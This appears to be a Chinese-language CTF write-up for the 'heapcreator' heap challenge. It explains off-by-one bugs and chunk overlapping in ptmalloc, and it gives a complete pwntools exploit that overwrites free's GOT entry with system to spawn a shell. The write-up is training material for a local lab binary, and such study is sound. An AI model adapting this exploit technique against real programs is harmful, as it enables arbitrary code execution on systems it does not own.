lab13_heapcreator

Off By One & chunk_extend

Off By One

概念

单字节缓冲区溢出:

  • 循环次数设置错误
  • 字符串操作不合适 strlen不考虑\x00来计算长度,但是strcpy 会把\x00一起复制
      if(strlen(buffer) == 24){
          strcpy(arr,buffer);
      }
    

    如果arr的大小是24,但是实际上会拷贝25个数据。

又叫栅栏错误。

是差一错误的一种。

应用

应用广泛(大概),这道题里用的他更改下一个chunk的size域,达到overlap的效果。

chunk_extend

如何获得各个chunk位置

ptmalloc中,chunk_header是定位前后chunk的重要依据。

  • 获取下一chunk
    当前指针加上headersize的大小。
  • 获取前一chunk
    当前指针减去headerpre_size的大小。

判断是否在使用

  • 判断前一chunk是否在使用当中
    size中的pre_inuse标志。
  • 判断当前chunk是否在使用当中
    查看下一个chunk的pre_inuse标志。
  • 判断下一chunk是否在使用当中
    查看下下一个chunk的pre_inuse标志。

原理

通过更改chunk_header的数据,可以让一个chunk中包含另一个chunk,从而实现跨越chunk的操作——overlapping。

trick

  • 当需要malloc的长度(size)没有和0x8对齐时(64位),实际分配到的chunk大小将会是size & (~0xf) 。少的内存由相邻下一个chunk的pre_size补上。

思路

流程

是一个常见的分配堆,释放堆的题目。

  • 分配
    首先malloc(0x10)创建一个结构体,里面存储size和指向content的指针。此后的操作都是在这个结构体里面获得数据。

    然后用户指定大小分配内存存储content

  • 释放

    会把结构体和content的内存释放,并将结构体的指针置空。

  • 提供编辑和打印功能

漏洞

在删除函数中人为地创造了一个off_by_one的漏洞。

利用

  1. 分配两个contentcontent_0大小见trick,content_1大小需要和结构体大小相同【原因见后】,程序会分配4个chunk。其中两个是结构体。

    注意这里struct_1content_1的大小和地址。

  2. 编辑content_0,使struct_1size大小为struct_1content_1的大小之和。

    在更改了struct_1size之后,gdb解析的heap中就没有content_1

  3. delete(1)

    fastbin中的原有struct_1被放进了0x40bin中。

  4. 分配0x30大小的content
    系统会先在fastbin找有没有0x200x40大小的chunk来作为structcontent,于是原有struct_1&content_1就被分配给了新的structcontent

    content_1大小要和struct相同的原因

    但是这两个实际大小都是0x20

    当向content_2写入数据,就可以覆盖到struct_2
    【题目中编号仍为1,此处只为容易分辨】

    构造chunk如图。

  5. 打印content_2
    前面说到所有有关content的操作都是根据struct中存的数据来的。
    打印是打印struct中存的地址指向的位置。在此处改为free_got计算后即可得到libc基址。

  6. 编辑content_2
    其实已经成为改got表的操作了。
    freegot表改为system的地址。
    调用free的时候,参数是struct的存的地址,也就是*(struct->addr)
    所以我们可以在一开始构造content_0的时候,就把内容改成/bin/sh\x00,当delete(0)的时候就是system("/bin/sh");

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context.log_level = 'debug'
context.terminal = ['deepin-terminal','-x','sh','-c']

def delete(index):
    sh.sendlineafter(':','4')
    sh.sendlineafter(':',str(index))

def create(sz,content):
    sh.sendlineafter(':','1')
    sh.sendlineafter(': ',str(sz))
    sh.sendafter(':',content)

def show(index):
    sh.sendlineafter(':','3')
    sh.sendlineafter(':',str(index))

    ret = u64(sh.recvuntil('\x7f')[-6:] + '\x00\x00')
    return ret

def edit(index,content):
    sh.sendlineafter(':','2')
    sh.sendlineafter(':',str(index))
    sh.sendlineafter(': ',content)

if __name__ == '__main__':
    
    sh = process('./heapcreator')
    elf =  ELF('./heapcreator')
    libc = elf.libc
    free_got = elf.got['free']
    free_libc  = libc.symbols['free']
    system_libc = libc.symbols['system']

    create(0x18,'A' * 8)
    create(0x10,'B' * 8)

    payload = '/bin/sh\x00' + cyclic(0x10) + '\x41'
    edit(0,payload)

    delete(1)

    gdb.attach(sh)
    payload = cyclic(0x10) + p64(0) + p64(0x21) + p64(0x30) + p64(free_got)
    create(0x30,payload)

    free_addr = show(1)
    system_addr = free_addr - free_libc + system_libc
    log.info('==================>free addr:{:#x}<=============='.format(free_addr))
    log.info('==================>sysytem addr:{:#x}<=============='.format(system_addr))

    edit(1,p64(system_addr))
    delete(0)
    

    sh.interactive()
    sh.close()

atoi

这里也可以改atoi,在choice:的时候限制4个字节,输入sh\x00就可以了。

一个问题

  • 为什么在glibc2.27里面跑的时候,fastbin里面是空的。但是getshell是可以的?